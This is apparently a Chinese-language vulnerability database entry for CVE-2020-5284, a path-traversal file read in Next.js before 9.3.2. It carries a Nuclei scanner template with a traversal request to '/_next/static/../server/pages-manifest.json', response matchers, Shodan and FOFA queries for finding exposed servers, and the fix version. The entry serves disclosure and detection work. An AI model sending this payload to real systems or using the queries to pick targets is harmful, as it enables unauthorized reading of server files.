CVE-2020-5284: Next.js <9.3.2 - Local File Inclusion

日期: 2025-08-01 | 影响软件: Next.js | POC: 已公开

漏洞描述

Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.

PoC代码[已公开]

id: CVE-2020-5284

info:
  name: Next.js <9.3.2 - Local File Inclusion
  author: rootxharsh,iamnoooob,dwisiswant0
  severity: medium
  description: Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: This issue is fixed in version 9.3.2.
  reference:
    - https://github.com/zeit/next.js/releases/tag/v9.3.2
    - https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5284
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2020-5284
    cwe-id: CWE-22,CWE-23
    epss-score: 0.77318
    epss-percentile: 0.9894
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2020,nextjs,lfi,zeit

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - '\{"/_app":".*?_app\.js"'

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5ea1233e04898279f4fe10a0c931144dac5be795f941a71d142ebf8a5ec0986022100a76987344835c6458e5c6c42b4c1daefe901c4eefc13f4f1e4c1e1ab588359dd:922c64590222798bb761d5b6d8e72950

相关漏洞推荐